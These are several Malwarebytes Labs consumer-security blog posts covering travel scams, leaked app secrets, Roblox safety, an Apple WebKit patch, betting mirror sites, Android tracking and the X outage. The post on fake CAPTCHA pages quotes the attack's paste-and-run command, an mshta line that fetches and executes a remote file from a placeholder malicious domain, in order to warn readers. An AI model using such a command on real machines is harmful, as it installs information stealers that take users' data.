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This year, Spring Break vacationers are packing more than their flip-flops, bucket hats, and sunglasses—they’re also packing a few cybersecurity anxieties for the trip.

According to new research from Malwarebytes, 52% of people said they “worry about being scammed while traveling,” while another 40% admitted that they “worry about my kids or family sharing trip details online.” While most people said they will act on these concerns—63% will make sure their security software is up to date, 53% will back up their data—roughly 10% of people said they will take no precautions whatsoever into protecting their security or privacy while on vacation.

The findings reveal that the public approaches cybersecurity as a patchwork quilt, implementing some best practices while forgoing others, and engaging in a few behaviors that carry significant risk online.

For this research, Malwarebytes conducted a pulse survey of its customers in March via the Alchemer Survey Platform.

Broadly, Malwarebytes found that:

• 52% of people “agreed” or “strongly agreed” that they “worry about being scammed while traveling.”
• 20% of people “agreed” or “strongly agreed” that they “don’t really think about protecting my data while traveling.”
• 38% of people said they will book their next travel opportunity through a “general search,” which could leave them vulnerable to malvertising.
• Apps are a way of life, as 66% of people said they use between one and six apps specifically for travel (such as hotel apps, airline apps, and translation apps). A particularly plugged-in 8% of people said they manage more than seven apps for the same purposes.
• To stay cybersecure and private on vacation, the majority of people will backup their data (53%), ensure their security software is up to date (63%), and set up credit card transaction alerts (56%), but 10% will take none of these—or other—steps.
• 53% of people refuse to take a single laptop with them on vacation, whereas just 1% leave even their smartphone behind—talk about a holiday.

Risky business break

The cybersecurity risks around personal vacations are unlike those around the holidays for major organizations and businesses, in which cybercriminals know that low staffing will leave companies more vulnerable to an attack or breach.

Instead, far-flung Spring Breakers can engage in a series of behaviors both before and during their holidays that leave them open to online scams and theft.

Take, for example, the 38% of people who told Malwarebytes that they would conduct a “general search online” in booking their next vacation. While Google searches are probably one of the most common tasks for any vacation planning, the results that people see can be manipulated through a type of cybercrime called malvertising, short for “malicious advertising.” 

In malvertising, cybercriminals will create a fake website that looks like a popular service, like Facebook, Slack, or eBay. Cybercriminals will also pay a small sum so that these fake websites show up near the top of Google’s sponsored results for relevant searches. Once users click on the websites, which appear legitimate, they’re tricked into downloading malware or handing over sensitive information to scammers.

A safer option for vacationers is to book travel directly with an airline or hotel chain. Many participants wrote this approach into the Malwarebytes survey when selecting the “Other” option (14%). Interestingly, the 29% of respondents who said they use a travel agent for booking likely also receive some extra safeguards, simply because another, experienced, person is involved in the process.

But in the same way that cybercriminals have begun abusing Google search results to send victims to dangerous websites, they’ve also done the same to trick users into downloading fake versions of popular apps.

Android “phishing” apps are a serious threat to users today—Malwarebytes detected 22,800 of them last year alone—and, as we wrote before, they represent the next step in camouflaged cyber-scamming:

“By disguising themselves as legitimate apps—including for services like TikTok, Spotify, and WhatsApp—Android phishing apps can trick victims into typing in their real usernames and passwords on bogus login screens that are controlled entirely by cybercriminals.”

The threat here endures long after the app is installed. If enough victims unwittingly send their passwords, cyber thieves could bundle the login credentials for sale on the dark web. Once the passwords are sold, the new, malicious owners will attempt to use individual passwords for a variety of common online accounts—testing whether, say, an email account password is the same one used for a victim’s online banking system, their mortgage payment platform, or their Social Security portal.

This wouldn’t be too much a problem if modern traveling didn’t involve so many apps.

According to our survey, 44% of people manage between two to four apps specifically for travel purposes, and 9% manage between five and six apps. And while 20% of people use zero apps for travel and 14% use just one app, there are 8% of people who rely on more than seven apps strictly for travel purposes.

That could include airlines apps, hotel apps, translation apps, and more. But as more apps help with traveling needs, more opportunities arise for those apps to be falsely emulated and maliciously advertised online.

As for what people do while physically on vacation, many engaged in online behaviors that could prove risky, but they can hardly be criticized for it.

For example, 25% of people said they scan QR codes while on vacation. These codes could lead people to malicious websites, but QR codes have become normalized at restaurants that no longer have physical menus. And 33% of people “log into financial institution sites or apps to manage [their] budget, check purchases, etc.” This type of activity was susceptible to online eavesdropping many years ago, but everyday internet connections have become far more secure in the past decade. That said, it’s inspiring to see that 41% of people “download or install a VPN” to provide an extra level of security when browsing on public Wi-Fi.

Safe travels

Cybersecurity is probably the last thing people want to “pack” before going away on a break, but, thankfully, it’s something that a majority of people said they do.

For instance, 63% said they “check that [their] security software is up to date,” while 53% said they “backup [their] data.” Similarly, 56% said they “set up credit card transaction alerts.” And while it isn’t quite a majority, 47% said they turn on “Find my Device” features which can help in case of a lost or stolen device. Interestingly, people do not commit to the same precautions for their bags—just 21% of survey participants said they “put a tracker in [their] luggage.”

Still, there’s progress to be made.

Not only did 10% of survey participants share that they take zero cybersecurity or data privacy precautions before traveling, but 20% also agreed or strongly agreed with the statement “I don’t really think about protecting my data while traveling.”

For safety abroad, here are a few tips travelers can take before and during their next vacation:

• Backup your data before you head out. Losing a device or having it stolen while on vacation won’t just ruin the trip itself—it will return the return journey, too. Backing up your data will help ensure that any lost device doesn’t lead to lost files.
• Turn on “Find My” features. To respond to a lost or stolen device, turn on the “Find My” features on iPhones and Androids before your vacation so you can track a device’s location in real time.
• Protect your devices with antivirus and cybersecurity tools. Modern cybersecurity tools don’t just stop viruses from landing on your devices, they also warn you about dangerous websites and links that could steal your info.
• Update your software. Ensure that your devices are running on the latest versions of their operating systems. This helps prevent any known weaknesses from being exploited by cybercriminals.
• Use a password manager and 2FA. Your most sensitive accounts shouldn’t just have a unique password. They should also be protected by two-factor authentication, which requires more than a password for anyone to login.
• Consider a VPN. If you are doing something sensitive online, it never hurts to use a VPN. Bonus: If you’re travelling to another country where your favourite streaming shows aren’t available, a VPN can help here too.

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Last week on Malwarebytes Labs:

• Research on iOS apps shows widespread exposure of secrets
• Don’t let your kids on Roblox if you’re not comfortable, says Roblox CEO
• Update your iPhone now: Apple patches vulnerability used in “extremely sophisticated attacks”
• The dark side of sports betting: How mirror sites help gambling scams thrive
• Android devices track you before you even sign in
• X users report login troubles as Dark Storm claims cyberattack
• How ads weirdly know your screen brightness, headphone jack use, and location, with Tim Shott (Lock and Code S06E05)
• Fake CAPTCHA websites hijack your clipboard to install information stealers
• Malwarebytes Premium Security awarded “Product of the Year” from AVLab

Last week on ThreatDown:

• ThreatDown is Product of The Year
• March 2025 Patch Tuesday, severity over quantity
• Phishing, now available on your favorite app store!

Stay safe!

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Researchers found that most of the apps available on Apple’s App Store leak at least one hard-coded secret.

The researchers looked at 156,000 iOS apps and discovered more than 815,000 hardcoded secrets, including very sensitive secrets like keys to cloud storage, various Application Programming Interfaces (APIs), and even payment processors.

The researchers noted how:

“The average app’s code exposes 5.2 secrets, and 71% of apps leak at least one secret.”

Secrets hard-coded in the source code of the apps are considered exposed because they are relatively easy to find and abuse by cybercriminals.

While you may think that’s the publisher’s problem, these hard-coded secrets can have serious consequences for the an app’s users, particularly when these are credentials which provide access to cloud storage services like AWS S3 buckets or Azure Blob Storage. The researchers found 78,000 apps which exposed cloud storage buckets.

We have posted plenty of examples of exposed AWS S3 buckets over the years, often leading to millions of exposed customer records. Depending on the type of app these records can contain financial data, location data, and other personal information.

Unless you’re able to reverse engineer an app, there is not a lot you can do after the fact. But you can keep this information in mind before you install an app. Do you trust the developers to follow best practices and do you really need it? Also keep a tight rein on the permissions you allow an app.

Protecting yourself after a data breach

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

• Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened, and follow any specific advice they offer.
• Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
• Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
• Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify the identity of anyone who contacts you using a different communication channel.
• Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
• Consider not storing your card details. It’s definitely more convenient to get sites to remember your card details for you, but we highly recommend not storing that information on websites.
• Set up identity monitoring. Identity monitoring alerts you if your personal information is found being traded illegally online, and helps you recover after.

Check your digital footprint

If you want to find out what personal data of yours has been exposed online, you can use our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you most frequently use) and we’ll send you a free report.

In response to growing worries about the safety of children using Roblox, the CEO of the company has said to parents: “My first message would be, if you’re not comfortable, don’t let your kids be on Roblox.”

Roblox is one of the most popular gaming platforms, especially among young children. Reportedly, of the over 80 million players per day, roughly 40% of them are below the age of 13.

As we wrote last month, a lawsuit was recently initiated against Roblox and messaging platform Discord, in which Roblox was referred to as a “real-life nightmare for children.”

Besides spending way too much time on the platform, children run the risk of getting exposed to inappropriate content, online predators, cyberbullying, and scams. Scammers often promise free Robux (the virtual currency used on the platform) or other benefits to trick children into sharing personal information or downloading malware.

The lawsuit claims that both Roblox and Discord are aware of how easily predators can target children through their platforms by grooming and manipulating children into sending explicit material but have failed to provide adequate safety measures to protect minors from such exploitation. 

Asked about the allegations, co-founder and CEO of Roblox, Dave Baszucki said the company is vigilant in protecting its users and pointed out that tens of millions of people enjoy an amazing experience on the platform.

“We watch for bullying, we watch for harassment, we filter all of those kinds of things, and I would say behind the scenes, the analysis goes on all the way to, if necessary, reaching out to law enforcement.”

But to parents who are still worried, he told the BBC these caretakers should trust their instincts and make their own decisions and don’t let their kids be on Roblox.

Which, if you have kids, will recognize as something  “easier said than done.”

How can you keep your children safe?

Since it’s not likely you’ll be able to guide your children 24/7 in their online journey, here are some tips you can use to keep them safe.

• Take control. Use Roblox’s Parental Controls to limit access to age-appropriate games and content and enable features like daily screen-time limits.
• Anonymize. When setting up your child’s Roblox account, avoid using real names, and use an appropriate date of birth to enable the relevant restrictions.
• Friend requests. Access the settings of your child’s account to limit or disable friend requests and online chat capabilities.
• Stay on the platform. Tell your child to refuse requests to take chats offline or to another platform. Predators will do this to avoid Roblox’s restrictions about sharing images.
• Education. Teach children about online safety, including not sharing personal information and avoiding suspicious links, and make sure they are comfortable sharing their online experiences with you.
• Play with them. What’s more fun than beating your parents in your favorite game? Spending some quality time with them makes it fun to keep an eye on them and the games they enjoy.
• Information. Stay on top of information about Roblox’s updates, features, and changes.
• Protect the device. Make sure they are playing on a device that is fully up-to-date and actively protected.

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Apple has patched a vulnerability in iPhone and iPad that was under active exploitation by cybercriminals.

The update is available for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 7th generation and later, and iPad mini 5th generation and later.

If you use any of these then you should install updates as soon as you can. To check if you’re using the latest software version, go to Settings (or System Settings) > General > Software Update. It’s also worth turning on Automatic Updates if you haven’t already, which you can do on the same screen.

Overall, security updates were issued for:

Safari 18.3.1	macOS Ventura and macOS Sonoma
iOS 18.3.2 and iPadOS 18.3.2	iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch 3rd generation and later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd generation and later, iPad 7th generation and later, and iPad mini 5th generation and later
macOS Sequoia 15.3.2	macOS Sequoia
visionOS 2.3.2	Apple Vision Pro

If you use Malwarebytes for iOS, you can use the app to check if you need to update, and be guided through the update process.

Technical details

WebKit is the browser engine developed by Apple that helps display web content in applications. It allows apps to show web pages without the need for a full web browser. WebKit is used in many Apple products, such as Safari, Mail, and the App Store, as well as in other devices like PlayStation consoles and Amazon Kindle e-readers.

The actively exploited vulnerability is tracked as CVE-2025-24201.

“An out-of-bounds write issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in visionOS 2.3.2, iOS 18.3.2 and iPadOS 18.3.2, macOS Sequoia 15.3.2, Safari 18.3.1. Maliciously crafted web content may be able to break out of Web Content sandbox. This is a supplementary fix for an attack that was blocked in iOS 17.2. (Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 17.2.).”

Simply put, that means an attacker could send or lure a target to open a web page which would cause an overflow in the allocated memory for WebKit. The overflow would then enable the attacker to escape from the Web Content Sandbox, which is a security feature used in web browsers to isolate web content, such as web pages and scripts, from the rest of the system. It’s designed to stop malicious code from accessing sensitive system resources or user data outside of the browser.

About a month ago, we reported how Apple fixed another extremely sophisticated attack, that was used against targeted individuals. This one is much more likely to be used against more users so should you prioritise updating your phone as soon as you can.

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We don’t just report on phone security—we provide it

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Sports betting is a multi-billion-dollar industry, but behind the flashing lights and promises of easy money lies a hidden underworld of deception.

In recent years, shady betting companies have found a clever way to bypass regulations and continue their operations through mirror sites—duplicate versions of their main website that allow them to evade bans, deceive users, and rake in massive profits. 

How gambling companies exploit mirror domains 

A mirror site is essentially a clone of an existing betting website, hosted on a different domain. Companies create dozens – sometimes even hundreds – of these mirrors to ensure they remain accessible even when regulators try to shut them down. 

Why do they do this? 

• Evade regulation: Governments and gambling commissions regularly block illegal or unlicensed betting sites. When one gets banned, the company simply redirects users to a new domain. 

• SEO and ad manipulation: More domains mean more search engine presence, allowing these companies to dominate the online gambling market and attract unsuspecting bettors. 

• Affiliate and referral loopholes: Many of these sites exist solely to capture affiliate commissions, misleading users into thinking they are signing up through legitimate sources. 

• Phishing and fraud risks: Users might unknowingly enter personal and financial details on a fake version of the site, opening themselves up to scams and identity theft. 

1xBet: From mirror site king to FC Barcelona sponsor 

One of the most infamous cases of gambling companies using mirror domains is 1xBet, a company that built an empire by aggressively bypassing laws through hundreds of duplicate sites. 

1xBet’s tactics were so successful that they made millions in revenue, eventually becoming a global sponsor of FC Barcelona. But despite their rise to legitimacy, their past was riddled with controversy: 

• They were banned in Russia but continued to operate through mirror sites. 

• The UK Gambling Commission launched an investigation into their illegal activities, forcing them to suspend operations in the UK. 

• Reports surfaced that they hosted illegal casino games and even betting on cockfighting. 

Even after being blacklisted in multiple countries, they continued to thrive simply by shifting users to a new domain each time one was blocked. 

20Bet and MostBet’s expanding mirror network 

But 1xBet isn’t alone. Recent investigations have revealed that newer betting companies are using the same shady tactics. 

• 20Bet has over 100 active domains, many of which are identical mirrors/referrals of each other. 

• MostBet has over 40 mirror sites, ensuring that they can never be completely shut down. 

This extensive network allows them to: 

• Dodge regulatory action and continue operating in countries where they are banned. 

• Flood search engines and ad networks, making it difficult for users to distinguish legitimate operators from scams. 

• Run deceptive marketing campaigns, promising risk-free bets and bonuses that are often impossible to claim. 

The real danger: How users get trapped 

Imagine this scenario: A football fan eager to bet on an upcoming match searches for a reliable betting site. They click on a paid ad for 20Bet, promising a “100% Risk-Free Bet Up to $500.” 

• They sign up and deposit money on what appears to be the official site. 

• They win their first bet and try to withdraw—but the site suddenly disappears. 

• They find another 20Bet domain and try logging in—only to realize their credentials don’t work. They’ve been scammed. 

Because so many duplicate domains exist, it’s nearly impossible for users to track where their money is actually going – or whether the site they’re on is real at all. 

How to protect yourself from betting scams 

With the rise of mirror sites, it’s more important than ever to be cautious when engaging in online sports betting. Here are some tips to stay safe: 

1. Check for proper licensing: Legitimate betting companies should be licensed by recognized authorities like the UK Gambling Commission or Malta Gaming Authority. 

2. Avoid too-good-to-be-true promotions: If a site is offering unrealistic bonuses or “guaranteed” wins, it’s likely a scam. 

3. Use trusted sources for links: Don’t click on ads or promotional links. Instead, visit the official websites of reputable gambling regulators. 

4. Be wary of multiple domains: If a betting company has dozens of different URLs, it’s a major red flag. 

5. Research before depositing: Look up reviews and complaints from other users before signing up for any site. 

Final thoughts: A dangerous game of cat and mouse 

The sports betting industry continues to grow, but its darker side remains hidden beneath layers of deception. Companies like 1xBet, 20Bet, and MostBet have found ways to outmanoeuvre regulators and keep the money flowing—often at the expense of unsuspecting bettors. 

The fact that one of the world’s most controversial gambling companies (1xBet) went from running mirror sites to sponsoring FC Barcelona should serve as a wake-up call. These companies are not just skirting the law – they are thriving because of it. 

Until regulators find a way to effectively combat these tactics, sports bettors must remain vigilant. If something seems off, it probably is. And in the world of online gambling, a single wrong move could mean the difference between a big win and losing everything. 

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Google is spying on Android users, starting from even before they have logged in to their Google account.

That’s what researchers from Dublin’s Trinity College found after they conducted a measurement study to investigate the cookies, identifiers and other data stored on Android devices by Google Play Services.

As the company behind the Android Operating System (OS), the Google Play Store, the most popular search engine in the world, and part of the leading company in digital advertising (Alphabet), Google has obtained a position where it would be hard not to profit from.

However, the ways in which Google uses all of these market shares should not be at the expense of the users and their privacy. So, what the researchers found might be worse than you expected. Or not.

The researchers found that multiple identifiers are used to track the user of an Android handset, even before they have opened a Google app or signed in to their Google account. Pre-installed apps like the Google Play Services and Google Play Store send cookies, identifiers and other data to Google servers.

Without user consent, the researchers flagged at least five types of identifiers:

• Advertising analytics cookies
• Tracking cookies
• The Google Android ID
• Analytics cookies used for A/B testing
• Multiple other cookies and identifiers which can uniquely identify the handset

Since there is no ask for consent, there is no way to opt-out. Ironically, Google explains one of the advertising analytics cookies, the DSID cookie, as “used to identify a signed-in user on non-Google sites so that the user’s ads personalization setting is respected accordingly.” So, Google uses an unannounced cookie to make sure advertisers are able to respect your settings. Ever considered not telling them who I am?

The researchers found little hope for a user who wants to get around this:

“Users currently have little control over the data that apps store on an Android handset. It is possible to use the Settings app to clear the data stored by an app. This deletes all the data in the app’s data folder, and is akin to re-installing the app. There is no ability to selectively delete cookies etc, unlike within a web browser, and no ability to prevent their storage in the first place.”

The Google Android ID requires some explanation as well. This unique identifier is used in traffic between the device and Google Play Services and Google Play Store. This ID is created immediately after the first connection is made to the device by Google Play Services. Once a user logs in to their Google account, the account and the Google Android ID are linked together, which likely qualifies it as personally identifiable information (PII). The ID is persistent to the extent that logging out of the Google account does not remove it. The only way to remove it, and its data, is to factory-reset the device.

When asked for a response, a Google spokesperson told The Register:

“This report identifies a number of Google technologies and tools that underpin how we bring helpful products and services to our users.”

Personally, I feel Google could do better by informing users about its tracking methods, as well as ask for consent. But as we pointed out when we looked at the recent new Android System SafetyCore app, Google has no qualms installing secret services for “our own good.”

Perhaps it would be better for Google to let us know what it’s doing, and we’ll decide whether we want that or not.

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This week on the Lock and Code podcast…

Something’s not right in the world of location data.

In January, a location data broker named Gravy Analytics was hacked, with the alleged cybercriminal behind the attack posting an enormous amount of data online as proof. Though relatively unknown to most of the public, Gravy Analytics is big in the world of location data collection, and, according to an enforcement action from the US Federal Trade Commission last year, the company claimed to “collect, process, and curate more than 17 billion signals from around a billion mobile devices daily.”

Those many billions of signals, because of the hack, were now on display for security researchers, journalists, and curious onlookers to peruse, and when they did, they found something interesting. Listed amongst the breached location data were occasional references to thousands of popular mobile apps, including Tinder, Grindr, Candy Crush, My Fitness Pal, Tumblr, and more.

The implication, though unproven, was obvious: The mobile apps were named with specific lines of breached data because those apps were the source of that breached data. And, considering how readily location data is traded directly from mobile apps to data brokers to advertisers, this wasn’t too unusual a suggestion.

Today, nearly every free mobile app makes money through ads. But ad purchasing and selling online is far more sophisticated than it used to be for newspapers and television programs. While companies still want to place their ads in front of demographics they believe will have the highest chance of making a purchase—think wealth planning ads inside the Wall Street Journal or toy commercials during cartoons—most of the process now happens through pieces of software that can place bids at data “auctions.” In short, mobile apps sometimes collect data about their users, including their location, device type, and even battery level. The apps then bring that data to an advertising auction, and separate companies “bid” on the ability to send their ads to, say, iPhone users in a certain time zone or Android users who speak a certain language.

This process happens every single day, countless times every hour, but in the case of the Gravy Analytics breach, some of the apps referenced in the data expressed that, one, they’d never heard of Gravy Analytics, and two, no advertiser had the right to collect their users’ location data.

In speaking to 404 Media, a representative from Tinder said:

“We have no relationship with Gravy Analytics and have no evidence that this data was obtained from the Tinder app.”

A representative for Grindr echoed the sentiment:

“Grindr has never worked with or provided data to Gravy Analytics. We do not share data with data aggregators or brokers and have not shared geolocation with ad partners for many years.”

And a representative for a Muslim prayer app, Muslim Pro, said much of the same:

“Yes, we display ads through several ad networks to support the free version of the app. However, as mentioned above, we do not authorize these networks to collect location data of our users.”

What all of this suggested was that some other mechanism was allowing for users of these apps to have their locations leaked and collected online.

And to try to prove that, one independent researcher conducted an experiment: Could he find himself in his own potentially leaked data?

Today, on the Lock and Code podcast with host David Ruiz, we speak with independent research Tim Shott about his investigation into leaked location data. In his experiment, Shott installed two mobile games that were referenced in the breach, an old game called Stack, and a more current game called Subway Surfers. These games had no reason to know his location, and yet, within seconds, he was able to see more than a thousand requests for data that included his latitude, his longitude, and, as we’ll learn, a whole lot more.

“ I was surprised looking at all of those requests. Maybe 10 percent of [them had] familiar names of companies, of websites, which my data is being sent to… I think this market works the way that the less you know about it, the better from their perspective.”

Tune in today to listen to the full conversation.

how notes and credits:

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)

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In the early morning hours of March 10, thousands of users on X (formerly Twitter) began having trouble logging into the platform.

It was only the first service blip of at least three to come that same day and, if one cybercriminal group is to be believed, it was all on purpose.

“Twitter has been taken offline by Dark Storm Team” read one message on the messaging and social media platform Telegram.

Dark Storm Team, which shared the message publicly, was reportedly created in 2023 and has a history of launching attacks that can disrupt websites by sending massive traffic their way. These attacks, called “Distributed Denial of Service” or DDoS, attacks, are one of the most common form of cyberattacks online, and have been used to disrupt major companies’ online services.

In responding to the outages, X owner Elon Musk wrote:

“There was (still is) a massive cyberattack against 𝕏. We get attacked every day, but this was done with a lot of resources. Either a large, coordinated group and/or a country is involved.”

For much of Monday, users could not load the X mobile app, the X website, or log into the services from their phones or laptops. The outages were recorded on the website Downdetector, which tracks user reports whenever popular websites have trouble loading or operating normally. According to Downdetector’s most recent data, X suffered problems between 2:30 and 3:00 am, Pacific Time, and again between 6:30 and 7:30 am, and then once more, for a more sustained but irregular period, between 8:00 and 11:00 am.

In response to the outages, X has rolled out the services of the company Cloudflare, which specifically provides protection from DDoS attacks. When X users try to reach certain parts of the website, or they arrive to the site from a potentially suspicious IP address, they are now prompted to fill out a form to prove they are a human user.

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There are more and more sites that use a clipboard hijacker and instruct victims on how to infect their own machine.

I realize that may sound like something trivial to steer clear from, but apparently it’s not because the social engineering behind it is pretty sophisticated.

At first, these attacks were more targeted at people that could provide cybercriminals a foothold at a targeted company, but their popularity has grown so much that now anyone can run into one of them.

It usually starts on a website that promises visitors some kind of popular content: Movies, music, pictures, news articles, you name it.

Nobody will think twice when they are asked to prove they are not a robot.

But the next step in this method isn’t what you would normally see. If you use the checkbox, you’ll be forwarded to something that looks like this:

“To better prove you are not a robot, please:

1. Press & hold the Windows Key + R.
2. In the verification windows, press Ctrl + V.
3. Press Enter on your keyboard to finish.

You will observe and agree:
“I’m not a robot – reCAPTCHA Verification ID: 8253”

Perform the steps above to finish verification.”

While these instructions may seem harmless enough, if you follow the steps you will actually be infecting yourself with malware—most likely an information stealer. In the background, the website you visited copied a command to your clipboard. In Chromium based browsers (which are almost all the popular ones) a website can only write to your clipboard with your permission. But Windows was under the assumption that you agreed to that when you checked the checkbox in the first screen.

What the obstructions in the prompt are telling you to do is:

1. Open the Run dialog box on Windows.
2. Paste the content of your clipboard into that dialog box.
3. Execute the command you just pasted.

They are not lying about what you will “observe”, but what they don’t tell you is that that’s only the last part of what you pasted, and what you are seeing is not really part of the command but just a comment added behind it.

But under normal circumstances, this is what will be visible.

The first part of what the target was instructed to paste are variations–sometimes obfuscated—of:

mshta https://{malicious.domain}/media.file

Mshta is a command that will trigger the legitimate Windows executable mshta.exe. But mshta will fetch the malicious media file from the specified domain and run it. The name of the media file may look perfectly fine. We have seen mp3, mp4, jpg, jpeg, swf, html, and there will be other possibilities.

What the files are in reality is an encoded Powershell command which will run invisibly and download the actual payload. For a while, the malware we were seeing downloaded was almost exclusively the Lumma Stealer infostealer, but recently we’ve also found campaigns that use the same method to spread the SecTopRAT. Both of these are designed to steal sensitive data from your machine.

How to stay safe

There are a few things you can do to protect yourself from falling victim to these and similar methods:

• Do not follow instructions provided by some website you visited without thinking it through.
• Use an active anti-malware solution that blocks malicious websites and scripts.
• Use a browser extension that blocks malicious domains and scams.
• Disable JavaScript in your browser before visiting unknown websites.

The clipboard access is triggered by a JavaScript function document.execCommand(‘copy’).  Disabling JavaScript will stop that from happening, but it has the disadvantage that it will break many websites that you visit regularly. What I do is use different browsers for different purposes.

Here are step-by-step instructions on how to disable JavaScript in several popular browsers:

How to disable JavaScript in Chrome

• Open Chrome and click on the three-dot menu icon in the top right corner.
• Select Settings from the dropdown menu.
• On the left side, click on Privacy and security.
• Click on Site settings.
• Scroll down to the Content section and click on JavaScript.

Toggle the switch to Don’t allow sites to use JavaScript to Disable JavaScript for all sites. You can also add specific sites to block or allow JavaScript by clicking on Add under the Block or Allow sections.

How to disable JavaScript in Firefox

• Open Firefox and click on the menu button (three horizontal lines) in the top right corner.
• Select Settings from the dropdown menu.
• Scroll to the Privacy & Security panel on the left side.
• Find the Permissions section and locate the JavaScript setting.
• Uncheck the box next to Enable JavaScript to disable JavaScript.
• Restart Firefox if necessary for the changes to take effect.

How to disable JavaScript in Opera

• Launch Opera and click on the settings icon.
• Select Privacy & Security from the options.
• Click on Site Settings.
• Select the JavaScript option.
• Choose Don’t allow sites to use JavaScript to disable JavaScript for all sites.

To disable JavaScript for specific sites, click Add under the Not allowed to use JavaScript section and enter the site’s URL.

How to disable JavaScript in Edge

• Open Microsoft Edge and click on the three-dot menu icon in the top right corner.
• Select Settings from the dropdown menu.
• In the left sidebar, click on Cookies and Site Permissions.
• Scroll down to the All Permissions section and select JavaScript.

Toggle the switch to disable JavaScript. You can also manage JavaScript settings for individual sites by adding them to the allow or block lists.

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.